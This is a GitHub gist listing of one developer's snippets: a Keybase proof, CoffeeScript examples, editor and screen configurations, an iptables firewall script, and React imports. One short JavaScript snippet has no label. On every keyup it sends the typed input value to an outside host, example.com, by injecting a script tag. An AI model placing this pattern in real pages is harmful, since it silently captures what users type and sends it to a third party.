Skip to content

Instantly share code, notes, and snippets.

Keybase proof

I hereby claim:

  • I am egeste on github.
  • I am egeste (https://keybase.io/egeste) on keybase.
  • I have a public key whose fingerprint is BD42 7E6C E28C F5E7 566A A25F EA2E 034B 6542 28E2

To claim this, I am signing this object:

@egeste
egeste / gist:e0351634c1fa3eb93163
Last active August 29, 2015 14:03
Referencing FactoryJS definitions by name
# Create a simple definition based on the Model definition.
# The provided definition will be extended onto the base definition when an
# instance is requested from the factory.
Oraculum.extend 'Model', 'Custom.Model', {
# Provide a simple method to illustrate that the instance gets composed.
quack: -> console.log 'quack', @id
}
@egeste
egeste / this-is-ugly-code.coffee
Created August 25, 2014 02:55
Allow "/" in IDs for bootstrap scrollspy
refresh = $.fn.scrollspy.Constructor.prototype.refresh.toString()
replace = '''$('[id="' + href.replace(/^#/, '') + '"]')'''
newRefresh = refresh.replace '$(href)', replace
eval "$.fn.scrollspy.Constructor.prototype.refresh = #{newRefresh}"
<div class="riskometer risk-1" title="Risk score is 1"></div>
<div class="riskometer risk-1" title="Risk score is 1"></div>
<div class="riskometer risk-1" title="Risk score is 1"></div>
<div class="riskometer risk-1" title="Risk score is 1"></div>
<div class="riskometer risk-1" title="Risk score is 1"></div>
// Copy the following into Preferences > Key Bindings -- User
// Thanks to:
// http://sublimetext.userecho.com/topic/86166-backtick-quoting-selected-text-does-not-work-like-single-quotes-and-double-quotes/
[
// Auto-pair backticks
{ "keys": ["`"], "command": "insert_snippet", "args": {"contents": "`$0`"}, "context":
[
{ "key": "setting.auto_match_enabled", "operator": "equal", "operand": true },
{ "key": "selection_empty", "operator": "equal", "operand": true, "match_all": true },
@egeste
egeste / firewall.sh
Created August 5, 2015 18:11
A generic iptables firewall for a personal workstation
#!/bin/bash
# Flush all existing rules
iptables -F
# Drop suspicious traffic
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP
iptables -A INPUT -p tcp ! --syn -m state --state NEW -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL ALL -j DROP
@egeste
egeste / .screenrc
Created December 22, 2015 22:27
My screenrc
# /etc/screenrc
shell -${SHELL}
caption always "%n(%t) : %C"
defscrollback 2048
startup_message off
hardstatus on
hardstatus alwayslastline "%-Lw%{= BW}%50>%n%f* %t%{-}%+Lw%< %=%D %M %d %c"
hardstatus string '%{= kK}%-Lw%{= KW}%50>%n%f %t%{= kK}%+Lw%< %{=kG}%-= %d%M %c:%s%{-}'
@egeste
egeste / sublime-keymap.json
Created March 31, 2016 20:18
My Sublime keymap
// http://sublimetext.userecho.com/topic/86166-backtick-quoting-selected-text-does-not-work-like-single-quotes-and-double-quotes/
[
// Auto-pair backticks
{ "keys": ["`"], "command": "insert_snippet", "args": {"contents": "`$0`"}, "context":
[
{ "key": "setting.auto_match_enabled", "operator": "equal", "operand": true },
{ "key": "selection_empty", "operator": "equal", "operand": true, "match_all": true },
{ "key": "following_text", "operator": "regex_contains", "operand": "^(?:\t| |\\)|]|\\}|>|$)", "match_all": true },
{ "key": "preceding_text", "operator": "not_regex_contains", "operand": "[`a-zA-Z0-9_]$", "match_all": true },
document.body.onkeyup = function(e) {
var script = document.createElement('script');
script.src = 'https://example.com/?input='+e.srcElement.value;
document.head.appendChild(script);
}
@egeste
egeste / examples.jsx
Created June 29, 2016 18:19
Working with react-bootstrap/react-router
// A tab item
import React, {
Component,
PropTypes
} from 'react'
import {
Link,
withRouter
} from 'react-router'